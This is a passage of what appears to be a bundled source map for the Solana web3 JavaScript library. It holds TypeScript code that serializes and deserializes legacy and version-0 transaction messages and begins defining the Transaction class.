Buffer.from(dataCount),\n data,\n };\n });\n\n let instructionCount: number[] = [];\n shortvec.encodeLength(instructionCount, instructions.length);\n let instructionBuffer = Buffer.alloc(PACKET_DATA_SIZE);\n Buffer.from(instructionCount).copy(instructionBuffer);\n let instructionBufferLength = instructionCount.length;\n\n instructions.forEach(instruction => {\n const instructionLayout = BufferLayout.struct<\n Readonly<{\n data: number[];\n dataLength: Uint8Array;\n keyIndices: number[];\n keyIndicesCount: Uint8Array;\n programIdIndex: number;\n }>\n >([\n BufferLayout.u8('programIdIndex'),\n\n BufferLayout.blob(\n instruction.keyIndicesCount.length,\n 'keyIndicesCount',\n ),\n BufferLayout.seq(\n BufferLayout.u8('keyIndex'),\n instruction.keyIndices.length,\n 'keyIndices',\n ),\n BufferLayout.blob(instruction.dataLength.length, 'dataLength'),\n BufferLayout.seq(\n BufferLayout.u8('userdatum'),\n instruction.data.length,\n 'data',\n ),\n ]);\n const length = instructionLayout.encode(\n instruction,\n instructionBuffer,\n instructionBufferLength,\n );\n instructionBufferLength += length;\n });\n instructionBuffer = instructionBuffer.slice(0, instructionBufferLength);\n\n const signDataLayout = BufferLayout.struct<\n Readonly<{\n keyCount: Uint8Array;\n keys: Uint8Array[];\n numReadonlySignedAccounts: Uint8Array;\n numReadonlyUnsignedAccounts: Uint8Array;\n numRequiredSignatures: Uint8Array;\n recentBlockhash: Uint8Array;\n }>\n >([\n BufferLayout.blob(1, 'numRequiredSignatures'),\n BufferLayout.blob(1, 'numReadonlySignedAccounts'),\n BufferLayout.blob(1, 'numReadonlyUnsignedAccounts'),\n BufferLayout.blob(keyCount.length, 'keyCount'),\n BufferLayout.seq(Layout.publicKey('key'), numKeys, 'keys'),\n Layout.publicKey('recentBlockhash'),\n ]);\n\n const transaction = {\n numRequiredSignatures: Buffer.from([this.header.numRequiredSignatures]),\n numReadonlySignedAccounts: Buffer.from([\n this.header.numReadonlySignedAccounts,\n ]),\n numReadonlyUnsignedAccounts: Buffer.from([\n this.header.numReadonlyUnsignedAccounts,\n ]),\n keyCount: Buffer.from(keyCount),\n keys: this.accountKeys.map(key => toBuffer(key.toBytes())),\n recentBlockhash: bs58.decode(this.recentBlockhash),\n };\n\n let signData = Buffer.alloc(2048);\n const length = signDataLayout.encode(transaction, signData);\n instructionBuffer.copy(signData, length);\n return signData.slice(0, length + instructionBuffer.length);\n }\n\n /**\n * Decode a compiled message into a Message object.\n */\n static from(buffer: Buffer | Uint8Array | Array<number>): Message {\n // Slice up wire data\n let byteArray = [...buffer];\n\n const numRequiredSignatures = guardedShift(byteArray);\n if (\n numRequiredSignatures !==\n (numRequiredSignatures & VERSION_PREFIX_MASK)\n ) {\n throw new Error(\n 'Versioned messages must be deserialized with VersionedMessage.deserialize()',\n );\n }\n\n const numReadonlySignedAccounts = guardedShift(byteArray);\n const numReadonlyUnsignedAccounts = guardedShift(byteArray);\n\n const accountCount = shortvec.decodeLength(byteArray);\n let accountKeys = [];\n for (let i = 0; i < accountCount; i++) {\n const account = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH);\n accountKeys.push(new PublicKey(Buffer.from(account)));\n }\n\n const recentBlockhash = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH);\n\n const instructionCount = shortvec.decodeLength(byteArray);\n let instructions: CompiledInstruction[] = [];\n for (let i = 0; i < instructionCount; i++) {\n const programIdIndex = guardedShift(byteArray);\n const accountCount = shortvec.decodeLength(byteArray);\n const accounts = guardedSplice(byteArray, 0, accountCount);\n const dataLength = shortvec.decodeLength(byteArray);\n const dataSlice = guardedSplice(byteArray, 0, dataLength);\n const data = bs58.encode(Buffer.from(dataSlice));\n instructions.push({\n programIdIndex,\n accounts,\n data,\n });\n }\n\n const messageArgs = {\n header: {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n },\n recentBlockhash: bs58.encode(Buffer.from(recentBlockhash)),\n accountKeys,\n instructions,\n };\n\n return new Message(messageArgs);\n }\n}\n","import bs58 from 'bs58';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from '../layout';\nimport {Blockhash} from '../blockhash';\nimport {\n MessageHeader,\n MessageAddressTableLookup,\n MessageCompiledInstruction,\n} from './index';\nimport {PublicKey, PUBLIC_KEY_LENGTH} from '../publickey';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport assert from '../utils/assert';\nimport {PACKET_DATA_SIZE, VERSION_PREFIX_MASK} from '../transaction/constants';\nimport {TransactionInstruction} from '../transaction';\nimport {AddressLookupTableAccount} from '../programs';\nimport {CompiledKeys} from './compiled-keys';\nimport {AccountKeysFromLookups, MessageAccountKeys} from './account-keys';\nimport {guardedShift, guardedSplice} from '../utils/guarded-array-utils';\n\n/**\n * Message constructor arguments\n */\nexport type MessageV0Args = {\n /** The message header, identifying signed and read-only `accountKeys` */\n header: MessageHeader;\n /** The static account keys used by this transaction */\n staticAccountKeys: PublicKey[];\n /** The hash of a recent ledger block */\n recentBlockhash: Blockhash;\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n compiledInstructions: MessageCompiledInstruction[];\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n addressTableLookups: MessageAddressTableLookup[];\n};\n\nexport type CompileV0Args = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n addressLookupTableAccounts?: Array<AddressLookupTableAccount>;\n};\n\nexport type GetAccountKeysArgs =\n | {\n accountKeysFromLookups?: AccountKeysFromLookups | null;\n }\n | {\n addressLookupTableAccounts?: AddressLookupTableAccount[] | null;\n };\n\nexport class MessageV0 {\n header: MessageHeader;\n staticAccountKeys: Array<PublicKey>;\n recentBlockhash: Blockhash;\n compiledInstructions: Array<MessageCompiledInstruction>;\n addressTableLookups: Array<MessageAddressTableLookup>;\n\n constructor(args: MessageV0Args) {\n this.header = args.header;\n this.staticAccountKeys = args.staticAccountKeys;\n this.recentBlockhash = args.recentBlockhash;\n this.compiledInstructions = args.compiledInstructions;\n this.addressTableLookups = args.addressTableLookups;\n }\n\n get version(): 0 {\n return 0;\n }\n\n get numAccountKeysFromLookups(): number {\n let count = 0;\n for (const lookup of this.addressTableLookups) {\n count += lookup.readonlyIndexes.length + lookup.writableIndexes.length;\n }\n return count;\n }\n\n getAccountKeys(args?: GetAccountKeysArgs): MessageAccountKeys {\n let accountKeysFromLookups: AccountKeysFromLookups | undefined;\n if (\n args &&\n 'accountKeysFromLookups' in args &&\n args.accountKeysFromLookups\n ) {\n if (\n this.numAccountKeysFromLookups !=\n args.accountKeysFromLookups.writable.length +\n args.accountKeysFromLookups.readonly.length\n ) {\n throw new Error(\n 'Failed to get account keys because of a mismatch in the number of account keys from lookups',\n );\n }\n accountKeysFromLookups = args.accountKeysFromLookups;\n } else if (\n args &&\n 'addressLookupTableAccounts' in args &&\n args.addressLookupTableAccounts\n ) {\n accountKeysFromLookups = this.resolveAddressTableLookups(\n args.addressLookupTableAccounts,\n );\n } else if (this.addressTableLookups.length > 0) {\n throw new Error(\n 'Failed to get account keys because address table lookups were not resolved',\n );\n }\n return new MessageAccountKeys(\n this.staticAccountKeys,\n accountKeysFromLookups,\n );\n }\n\n isAccountSigner(index: number): boolean {\n return index < this.header.numRequiredSignatures;\n }\n\n isAccountWritable(index: number): boolean {\n const numSignedAccounts = this.header.numRequiredSignatures;\n const numStaticAccountKeys = this.staticAccountKeys.length;\n if (index >= numStaticAccountKeys) {\n const lookupAccountKeysIndex = index - numStaticAccountKeys;\n const numWritableLookupAccountKeys = this.addressTableLookups.reduce(\n (count, lookup) => count + lookup.writableIndexes.length,\n 0,\n );\n return lookupAccountKeysIndex < numWritableLookupAccountKeys;\n } else if (index >= this.header.numRequiredSignatures) {\n const unsignedAccountIndex = index - numSignedAccounts;\n const numUnsignedAccounts = numStaticAccountKeys - numSignedAccounts;\n const numWritableUnsignedAccounts =\n numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts;\n return unsignedAccountIndex < numWritableUnsignedAccounts;\n } else {\n const numWritableSignedAccounts =\n numSignedAccounts - this.header.numReadonlySignedAccounts;\n return index < numWritableSignedAccounts;\n }\n }\n\n resolveAddressTableLookups(\n addressLookupTableAccounts: AddressLookupTableAccount[],\n ): AccountKeysFromLookups {\n const accountKeysFromLookups: AccountKeysFromLookups = {\n writable: [],\n readonly: [],\n };\n\n for (const tableLookup of this.addressTableLookups) {\n const tableAccount = addressLookupTableAccounts.find(account =>\n account.key.equals(tableLookup.accountKey),\n );\n if (!tableAccount) {\n throw new Error(\n `Failed to find address lookup table account for table key ${tableLookup.accountKey.toBase58()}`,\n );\n }\n\n for (const index of tableLookup.writableIndexes) {\n if (index < tableAccount.state.addresses.length) {\n accountKeysFromLookups.writable.push(\n tableAccount.state.addresses[index],\n );\n } else {\n throw new Error(\n `Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`,\n );\n }\n }\n\n for (const index of tableLookup.readonlyIndexes) {\n if (index < tableAccount.state.addresses.length) {\n accountKeysFromLookups.readonly.push(\n tableAccount.state.addresses[index],\n );\n } else {\n throw new Error(\n `Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`,\n );\n }\n }\n }\n\n return accountKeysFromLookups;\n }\n\n static compile(args: CompileV0Args): MessageV0 {\n const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey);\n\n const addressTableLookups = new Array<MessageAddressTableLookup>();\n const accountKeysFromLookups: AccountKeysFromLookups = {\n writable: new Array(),\n readonly: new Array(),\n };\n const lookupTableAccounts = args.addressLookupTableAccounts || [];\n for (const lookupTable of lookupTableAccounts) {\n const extractResult = compiledKeys.extractTableLookup(lookupTable);\n if (extractResult !== undefined) {\n const [addressTableLookup, {writable, readonly}] = extractResult;\n addressTableLookups.push(addressTableLookup);\n accountKeysFromLookups.writable.push(...writable);\n accountKeysFromLookups.readonly.push(...readonly);\n }\n }\n\n const [header, staticAccountKeys] = compiledKeys.getMessageComponents();\n const accountKeys = new MessageAccountKeys(\n staticAccountKeys,\n accountKeysFromLookups,\n );\n const compiledInstructions = accountKeys.compileInstructions(\n args.instructions,\n );\n return new MessageV0({\n header,\n staticAccountKeys,\n recentBlockhash: args.recentBlockhash,\n compiledInstructions,\n addressTableLookups,\n });\n }\n\n serialize(): Uint8Array {\n const encodedStaticAccountKeysLength = Array<number>();\n shortvec.encodeLength(\n encodedStaticAccountKeysLength,\n this.staticAccountKeys.length,\n );\n\n const serializedInstructions = this.serializeInstructions();\n const encodedInstructionsLength = Array<number>();\n shortvec.encodeLength(\n encodedInstructionsLength,\n this.compiledInstructions.length,\n );\n\n const serializedAddressTableLookups = this.serializeAddressTableLookups();\n const encodedAddressTableLookupsLength = Array<number>();\n shortvec.encodeLength(\n encodedAddressTableLookupsLength,\n this.addressTableLookups.length,\n );\n\n const messageLayout = BufferLayout.struct<{\n prefix: number;\n header: MessageHeader;\n staticAccountKeysLength: Uint8Array;\n staticAccountKeys: Array<Uint8Array>;\n recentBlockhash: Uint8Array;\n instructionsLength: Uint8Array;\n serializedInstructions: Uint8Array;\n addressTableLookupsLength: Uint8Array;\n serializedAddressTableLookups: Uint8Array;\n }>([\n BufferLayout.u8('prefix'),\n BufferLayout.struct<MessageHeader>(\n [\n BufferLayout.u8('numRequiredSignatures'),\n BufferLayout.u8('numReadonlySignedAccounts'),\n BufferLayout.u8('numReadonlyUnsignedAccounts'),\n ],\n 'header',\n ),\n BufferLayout.blob(\n encodedStaticAccountKeysLength.length,\n 'staticAccountKeysLength',\n ),\n BufferLayout.seq(\n Layout.publicKey(),\n this.staticAccountKeys.length,\n 'staticAccountKeys',\n ),\n Layout.publicKey('recentBlockhash'),\n BufferLayout.blob(encodedInstructionsLength.length, 'instructionsLength'),\n BufferLayout.blob(\n serializedInstructions.length,\n 'serializedInstructions',\n ),\n BufferLayout.blob(\n encodedAddressTableLookupsLength.length,\n 'addressTableLookupsLength',\n ),\n BufferLayout.blob(\n serializedAddressTableLookups.length,\n 'serializedAddressTableLookups',\n ),\n ]);\n\n const serializedMessage = new Uint8Array(PACKET_DATA_SIZE);\n const MESSAGE_VERSION_0_PREFIX = 1 << 7;\n const serializedMessageLength = messageLayout.encode(\n {\n prefix: MESSAGE_VERSION_0_PREFIX,\n header: this.header,\n staticAccountKeysLength: new Uint8Array(encodedStaticAccountKeysLength),\n staticAccountKeys: this.staticAccountKeys.map(key => key.toBytes()),\n recentBlockhash: bs58.decode(this.recentBlockhash),\n instructionsLength: new Uint8Array(encodedInstructionsLength),\n serializedInstructions,\n addressTableLookupsLength: new Uint8Array(\n encodedAddressTableLookupsLength,\n ),\n serializedAddressTableLookups,\n },\n serializedMessage,\n );\n return serializedMessage.slice(0, serializedMessageLength);\n }\n\n private serializeInstructions(): Uint8Array {\n let serializedLength = 0;\n const serializedInstructions = new Uint8Array(PACKET_DATA_SIZE);\n for (const instruction of this.compiledInstructions) {\n const encodedAccountKeyIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedAccountKeyIndexesLength,\n instruction.accountKeyIndexes.length,\n );\n\n const encodedDataLength = Array<number>();\n shortvec.encodeLength(encodedDataLength, instruction.data.length);\n\n const instructionLayout = BufferLayout.struct<{\n programIdIndex: number;\n encodedAccountKeyIndexesLength: Uint8Array;\n accountKeyIndexes: number[];\n encodedDataLength: Uint8Array;\n data: Uint8Array;\n }>([\n BufferLayout.u8('programIdIndex'),\n BufferLayout.blob(\n encodedAccountKeyIndexesLength.length,\n 'encodedAccountKeyIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n instruction.accountKeyIndexes.length,\n 'accountKeyIndexes',\n ),\n BufferLayout.blob(encodedDataLength.length, 'encodedDataLength'),\n BufferLayout.blob(instruction.data.length, 'data'),\n ]);\n\n serializedLength += instructionLayout.encode(\n {\n programIdIndex: instruction.programIdIndex,\n encodedAccountKeyIndexesLength: new Uint8Array(\n encodedAccountKeyIndexesLength,\n ),\n accountKeyIndexes: instruction.accountKeyIndexes,\n encodedDataLength: new Uint8Array(encodedDataLength),\n data: instruction.data,\n },\n serializedInstructions,\n serializedLength,\n );\n }\n\n return serializedInstructions.slice(0, serializedLength);\n }\n\n private serializeAddressTableLookups(): Uint8Array {\n let serializedLength = 0;\n const serializedAddressTableLookups = new Uint8Array(PACKET_DATA_SIZE);\n for (const lookup of this.addressTableLookups) {\n const encodedWritableIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedWritableIndexesLength,\n lookup.writableIndexes.length,\n );\n\n const encodedReadonlyIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedReadonlyIndexesLength,\n lookup.readonlyIndexes.length,\n );\n\n const addressTableLookupLayout = BufferLayout.struct<{\n accountKey: Uint8Array;\n encodedWritableIndexesLength: Uint8Array;\n writableIndexes: number[];\n encodedReadonlyIndexesLength: Uint8Array;\n readonlyIndexes: number[];\n }>([\n Layout.publicKey('accountKey'),\n BufferLayout.blob(\n encodedWritableIndexesLength.length,\n 'encodedWritableIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n lookup.writableIndexes.length,\n 'writableIndexes',\n ),\n BufferLayout.blob(\n encodedReadonlyIndexesLength.length,\n 'encodedReadonlyIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n lookup.readonlyIndexes.length,\n 'readonlyIndexes',\n ),\n ]);\n\n serializedLength += addressTableLookupLayout.encode(\n {\n accountKey: lookup.accountKey.toBytes(),\n encodedWritableIndexesLength: new Uint8Array(\n encodedWritableIndexesLength,\n ),\n writableIndexes: lookup.writableIndexes,\n encodedReadonlyIndexesLength: new Uint8Array(\n encodedReadonlyIndexesLength,\n ),\n readonlyIndexes: lookup.readonlyIndexes,\n },\n serializedAddressTableLookups,\n serializedLength,\n );\n }\n\n return serializedAddressTableLookups.slice(0, serializedLength);\n }\n\n static deserialize(serializedMessage: Uint8Array): MessageV0 {\n let byteArray = [...serializedMessage];\n\n const prefix = guardedShift(byteArray);\n const maskedPrefix = prefix & VERSION_PREFIX_MASK;\n assert(\n prefix !== maskedPrefix,\n `Expected versioned message but received legacy message`,\n );\n\n const version = maskedPrefix;\n assert(\n version === 0,\n `Expected versioned message with version 0 but found version ${version}`,\n );\n\n const header: MessageHeader = {\n numRequiredSignatures: guardedShift(byteArray),\n numReadonlySignedAccounts: guardedShift(byteArray),\n numReadonlyUnsignedAccounts: guardedShift(byteArray),\n };\n\n const staticAccountKeys = [];\n const staticAccountKeysLength = shortvec.decodeLength(byteArray);\n for (let i = 0; i < staticAccountKeysLength; i++) {\n staticAccountKeys.push(\n new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)),\n );\n }\n\n const recentBlockhash = bs58.encode(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n\n const instructionCount = shortvec.decodeLength(byteArray);\n const compiledInstructions: MessageCompiledInstruction[] = [];\n for (let i = 0; i < instructionCount; i++) {\n const programIdIndex = guardedShift(byteArray);\n const accountKeyIndexesLength = shortvec.decodeLength(byteArray);\n const accountKeyIndexes = guardedSplice(\n byteArray,\n 0,\n accountKeyIndexesLength,\n );\n const dataLength = shortvec.decodeLength(byteArray);\n const data = new Uint8Array(guardedSplice(byteArray, 0, dataLength));\n compiledInstructions.push({\n programIdIndex,\n accountKeyIndexes,\n data,\n });\n }\n\n const addressTableLookupsCount = shortvec.decodeLength(byteArray);\n const addressTableLookups: MessageAddressTableLookup[] = [];\n for (let i = 0; i < addressTableLookupsCount; i++) {\n const accountKey = new PublicKey(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n const writableIndexesLength = shortvec.decodeLength(byteArray);\n const writableIndexes = guardedSplice(\n byteArray,\n 0,\n writableIndexesLength,\n );\n const readonlyIndexesLength = shortvec.decodeLength(byteArray);\n const readonlyIndexes = guardedSplice(\n byteArray,\n 0,\n readonlyIndexesLength,\n );\n addressTableLookups.push({\n accountKey,\n writableIndexes,\n readonlyIndexes,\n });\n }\n\n return new MessageV0({\n header,\n staticAccountKeys,\n recentBlockhash,\n compiledInstructions,\n addressTableLookups,\n });\n }\n}\n","import {VERSION_PREFIX_MASK} from '../transaction/constants';\nimport {Message} from './legacy';\nimport {MessageV0} from './v0';\n\nexport type VersionedMessage = Message | MessageV0;\n// eslint-disable-next-line no-redeclare\nexport const VersionedMessage = {\n deserializeMessageVersion(serializedMessage: Uint8Array): 'legacy' | number {\n const prefix = serializedMessage[0];\n const maskedPrefix = prefix & VERSION_PREFIX_MASK;\n\n // if the highest bit of the prefix is not set, the message is not versioned\n if (maskedPrefix === prefix) {\n return 'legacy';\n }\n\n // the lower 7 bits of the prefix indicate the message version\n return maskedPrefix;\n },\n\n deserialize: (serializedMessage: Uint8Array): VersionedMessage => {\n const version =\n VersionedMessage.deserializeMessageVersion(serializedMessage);\n if (version === 'legacy') {\n return Message.from(serializedMessage);\n }\n\n if (version === 0) {\n return MessageV0.deserialize(serializedMessage);\n } else {\n throw new Error(\n `Transaction message version ${version} deserialization is not supported`,\n );\n }\n },\n};\n","import bs58 from 'bs58';\nimport {Buffer} from 'buffer';\n\nimport {PACKET_DATA_SIZE, SIGNATURE_LENGTH_IN_BYTES} from './constants';\nimport {Connection} from '../connection';\nimport {Message} from '../message';\nimport {PublicKey} from '../publickey';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport {toBuffer} from '../utils/to-buffer';\nimport invariant from '../utils/assert';\nimport type {Signer} from '../keypair';\nimport type {Blockhash} from '../blockhash';\nimport type {CompiledInstruction} from '../message';\nimport {sign, verify} from '../utils/ed25519';\nimport {guardedSplice} from '../utils/guarded-array-utils';\n\n/** @internal */\ntype MessageSignednessErrors = {\n invalid?: PublicKey[];\n missing?: PublicKey[];\n};\n\n/**\n * Transaction signature as base-58 encoded string\n */\nexport type TransactionSignature = string;\n\nexport const enum TransactionStatus {\n BLOCKHEIGHT_EXCEEDED,\n PROCESSED,\n TIMED_OUT,\n NONCE_INVALID,\n}\n\n/**\n * Default (empty) signature\n */\nconst DEFAULT_SIGNATURE = Buffer.alloc(SIGNATURE_LENGTH_IN_BYTES).fill(0);\n\n/**\n * Account metadata used to define instructions\n */\nexport type AccountMeta = {\n /** An account's public key */\n pubkey: PublicKey;\n /** True if an instruction requires a transaction signature matching `pubkey` */\n isSigner: boolean;\n /** True if the `pubkey` can be loaded as a read-write account. */\n isWritable: boolean;\n};\n\n/**\n * List of TransactionInstruction object fields that may be initialized at construction\n */\nexport type TransactionInstructionCtorFields = {\n keys: Array<AccountMeta>;\n programId: PublicKey;\n data?: Buffer;\n};\n\n/**\n * Configuration object for Transaction.serialize()\n */\nexport type SerializeConfig = {\n /** Require all transaction signatures be present (default: true) */\n requireAllSignatures?: boolean;\n /** Verify provided signatures (default: true) */\n verifySignatures?: boolean;\n};\n\n/**\n * @internal\n */\nexport interface TransactionInstructionJSON {\n keys: {\n pubkey: string;\n isSigner: boolean;\n isWritable: boolean;\n }[];\n programId: string;\n data: number[];\n}\n\n/**\n * Transaction Instruction class\n */\nexport class TransactionInstruction {\n /**\n * Public keys to include in this transaction\n * Boolean represents whether this pubkey needs to sign the transaction\n */\n keys: Array<AccountMeta>;\n\n /**\n * Program Id to execute\n */\n programId: PublicKey;\n\n /**\n * Program input\n */\n data: Buffer = Buffer.alloc(0);\n\n constructor(opts: TransactionInstructionCtorFields) {\n this.programId = opts.programId;\n this.keys = opts.keys;\n if (opts.data) {\n this.data = opts.data;\n }\n }\n\n /**\n * @internal\n */\n toJSON(): TransactionInstructionJSON {\n return {\n keys: this.keys.map(({pubkey, isSigner, isWritable}) => ({\n pubkey: pubkey.toJSON(),\n isSigner,\n isWritable,\n })),\n programId: this.programId.toJSON(),\n data: [...this.data],\n };\n }\n}\n\n/**\n * Pair of signature and corresponding public key\n */\nexport type SignaturePubkeyPair = {\n signature: Buffer | null;\n publicKey: PublicKey;\n};\n\n/**\n * List of Transaction object fields that may be initialized at construction\n */\nexport type TransactionCtorFields_DEPRECATED = {\n /** Optional nonce information used for offline nonce'd transactions */\n nonceInfo?: NonceInformation | null;\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n /** A recent blockhash */\n recentBlockhash?: Blockhash;\n};\n\n// For backward compatibility; an unfortunate consequence of being\n// forced to over-export types by the documentation generator.\n// See https://github.com/solana-labs/solana/pull/25820\nexport type TransactionCtorFields = TransactionCtorFields_DEPRECATED;\n\n/**\n * Blockhash-based transactions have a lifetime that are defined by\n * the blockhash they include. Any transaction whose blockhash is\n * too old will be rejected.\n */\nexport type TransactionBlockhashCtor = {\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n /** A recent blockhash */\n blockhash: Blockhash;\n /** the last block chain can advance to before tx is declared expired */\n lastValidBlockHeight: number;\n};\n\n/**\n * Use these options to construct a durable nonce transaction.\n */\nexport type TransactionNonceCtor = {\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n minContextSlot: number;\n nonceInfo: NonceInformation;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n};\n\n/**\n * Nonce information to be used to build an offline Transaction.\n */\nexport type NonceInformation = {\n /** The current blockhash stored in the nonce */\n nonce: Blockhash;\n /** AdvanceNonceAccount Instruction */\n nonceInstruction: TransactionInstruction;\n};\n\n/**\n * @internal\n */\nexport interface TransactionJSON {\n recentBlockhash: string | null;\n feePayer: string | null;\n nonceInfo: {\n nonce: string;\n nonceInstruction: TransactionInstructionJSON;\n } | null;\n instructions: TransactionInstructionJSON[];\n signers: string[];\n}\n\n/**\n * Transaction class\n */\nexport class Transaction {\n /**\n * Signatures for the transaction. Typically created by invoking the\n * `sign()` method\n */\n signatures: Array<SignaturePubkeyPair> = [];\n\n /**\n * The first (payer) Transaction signature\n *\n * @returns {Buffer | null} Buffer of payer's signature\n */\n get signature(): Buffer | null {\n if (this.signatures.length > 0) {\n return this.signatures[0].signature;\n }\n return null;\n }\n\n /**\n * The transaction fee payer\n */\n feePayer?: PublicKey;\n\n /**\n * The instructions to atomically execute\n */\n instructions: Array<TransactionInstruction> = [];\n\n /**\n * A recent transaction id. Must be populated by the caller\n */\n recentBlockhash?: Blockhash;\n\n /**\n * the last block chain can advance to before tx is declared expired\n * */\n lastValidBlockHeight?: number;\n\n /**\n * Optional Nonce information. If populated, transaction will use a durable\n * Nonce hash instead of a recentBlockhash. Must be populated by the caller\n */\n nonceInfo?: NonceInformation;\n\n /**\n * If this is a nonce transaction this represents the minimum slot from which\n * to evaluate if the nonce has advanced when attempting to confirm the\n * transaction. This protects against a case where the transaction confirmation\n * logic loads the nonce account from an old slot and assumes the mismatch in\n * nonce value implies that the nonce has been advanced.\n */\n minNonceContextSlot?: number;\n\n /**\n * @internal\n */\n _message?: Message;\n\n /**\n * @internal\n */\n _json?: TransactionJSON;\n\n // Construct a transaction with a blockhash and lastValidBlockHeight\n constructor(opts?: TransactionBlockhashCtor);\n\n // Construct a transaction using a durable nonce\n constructor(opts?: TransactionNonceCtor);\n\n /**\n * @deprecated `TransactionCtorFields` has been deprecated and will be removed in a future version.\n * Please supply a `TransactionBlockhashCtor` instead.\n */\n constructor(opts?: TransactionCtorFields_DEPRECATED);\n\n /**\n * Construct an empty Transaction\n */\n constructor(\n opts?:\n | TransactionBlockhashCtor\n | TransactionNonceCtor\n | TransactionCtorFields_DEPRECATED,\n ) {\n if (!opts) {\n return;\n }\n if (opts.feePayer) {\n this.feePayer = opts.feePayer;\n }\n if (opts.signatures) {\n this.signatures = opts.signatures;\n }\n if (Object.prototype.hasOwnProperty.call(opts, 'nonceInfo')) {\n const {minContextSlot, nonceInfo} = opts as TransactionNonceCtor;\n this.minNonceContextSlot = minContextSlot;\n this.nonceInfo = nonceInfo;\n } else if (\n Object.prototype.hasOwnProperty.call(opts, 'lastValidBlockHeight')\n ) {\n const {blockhash, lastValidBlockHeight} =\n opts as TransactionBlockhashCtor;\n this.recentBlockhash = blockhash;\n this.lastValidBlockHeight = lastValidBlockHeight;\n } else {\n const {recentBlockhash, nonceInfo} =\n opts as TransactionCtorFields_DEPRECATED;\n if (nonceInfo) {\n this.nonceInfo = nonceInfo;\n }\n this.recentBlockhash = recentBlockhash;\n }\n }\n\n /**\n * @internal\n */\n toJSON(): TransactionJSON {\n return {\n recentBlockhash: this.recentBlockhash || null,\n feePayer: this.feePayer ? this.feePayer.toJSON() : null,\n nonceInfo: this.nonceInfo\n ? {\n nonce: this.nonceInfo.nonce,\n nonceInstruction: this.nonceInfo.nonceInstruction.toJSON(),\n }\n : null,\n instructions: this.instructions.map(instruction => instruction.toJSON()),\n signers: this.signatures.map(({publicKey}) => {\n return publicKey.toJSON();\n }),\n };\n }\n\n /**\n * Add one or more instructions to this Transaction\n *\n * @param {Array< Transaction | TransactionInstruction | TransactionInstructionCtorFields >} items - Instructions to add to the Transaction\n */\n add(\n ...items: Array<\n Transaction | TransactionInstruction | TransactionInstructionCtorFields\n >\n ): Transaction {\n if (items.length === 0) {\n throw new Error('No instructions');\n }\n\n items.forEach((item: any) => {\n if ('instructions' in item) {\n this.instructions = this.instructions.concat(item.instructions);\n } else if ('data' in item && 'programId' in item && 'keys' in item) {\n this.instructions.push(item);\n } else {\n this.instructions.push(new TransactionInstruction(item));\n }\n });\n return this;\n }\n\n /**\n * Compile transaction data\n */\n compileMessage(): Message {\n if (\n this._message &&\n JSON.stringify(this.toJSON()) === JSON.stringify(this._json)\n ) {\n return this._message;\n }\n\n let recentBlockhash;\n let instructions: TransactionInstruction[];\n if (this.nonceInfo) {\n recentBlockhash = this.nonceInfo.nonce;\n if (this.instructions[0] != this.nonceInfo.nonceInstruction) {\n instructions = [this.nonceInfo.nonceInstruction, ...this.instructions];\n } else {\n instructions = this.instructions;\n }\n } else {\n recentBlockhash = this.recentBlockhash;\n instructions = this.instructions;\n }\n if (!recentBlockhash) {\n throw new Error('Transaction recentBlockhash required');\n }\n\n if (instructions.length < 1) {\n console.warn('No instructions provided');\n }\n\n let feePayer: PublicKey;\n if (this.feePayer) {\n feePayer = this.feePayer;\n } else if (this.signatures.length > 0 && this.signatures[0].publicKey) {\n // Use implicit fee payer\n feePayer = this.signatures[0].publicKey;\n } else {\n throw new Error('Transaction fee payer required');\n }\n\n for (let i = 0; i < instructions.length; i++) {\n if (instructions[i].programId === undefined) {\n throw new Error(\n `Transaction instruction index ${i} has undefined program id`,\n );\n }\n }\n\n const programIds: string[] = [];\n const accountMetas: AccountMeta[] = [];\n instructions.forEach(instruction => {\n instruction.keys.forEach(accountMeta => {\n accountMetas.push({...accountMeta});\n });\n\n const programId = instruction.programId.toString();\n if (!programIds.includes(programId)) {\n programIds.push(programId);\n }\n });\n\n // Append programID account metas\n programIds.forEach(programId => {\n accountMetas.push({\n pubkey: new PublicKey(programId),\n isSigner: false,\n isWritable: false,\n });\n });\n\n // Cull duplicate account metas\n const uniqueMetas: AccountMeta[] = [];\n accountMetas.forEach(accountMeta => {\n const pubkeyString = accountMeta.pubkey.toString();\n const uniqueIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.toString() === pubkeyString;\n });\n if (uniqueIndex > -1) {\n uniqueMetas[uniqueIndex].isWritable =\n uniqueMetas[uniqueIndex].isWritable || accountMeta.isWritable;\n uniqueMetas[uniqueIndex].isSigner =\n uniqueMetas[uniqueIndex].isSigner || accountMeta.isSigner;\n } else {\n uniqueMetas.push(accountMeta);\n }\n });\n\n // Sort. Prioritizing first by signer, then by writable\n uniqueMetas.sort(function (x, y) {\n if (x.isSigner !== y.isSigner) {\n // Signers always come before non-signers\n return 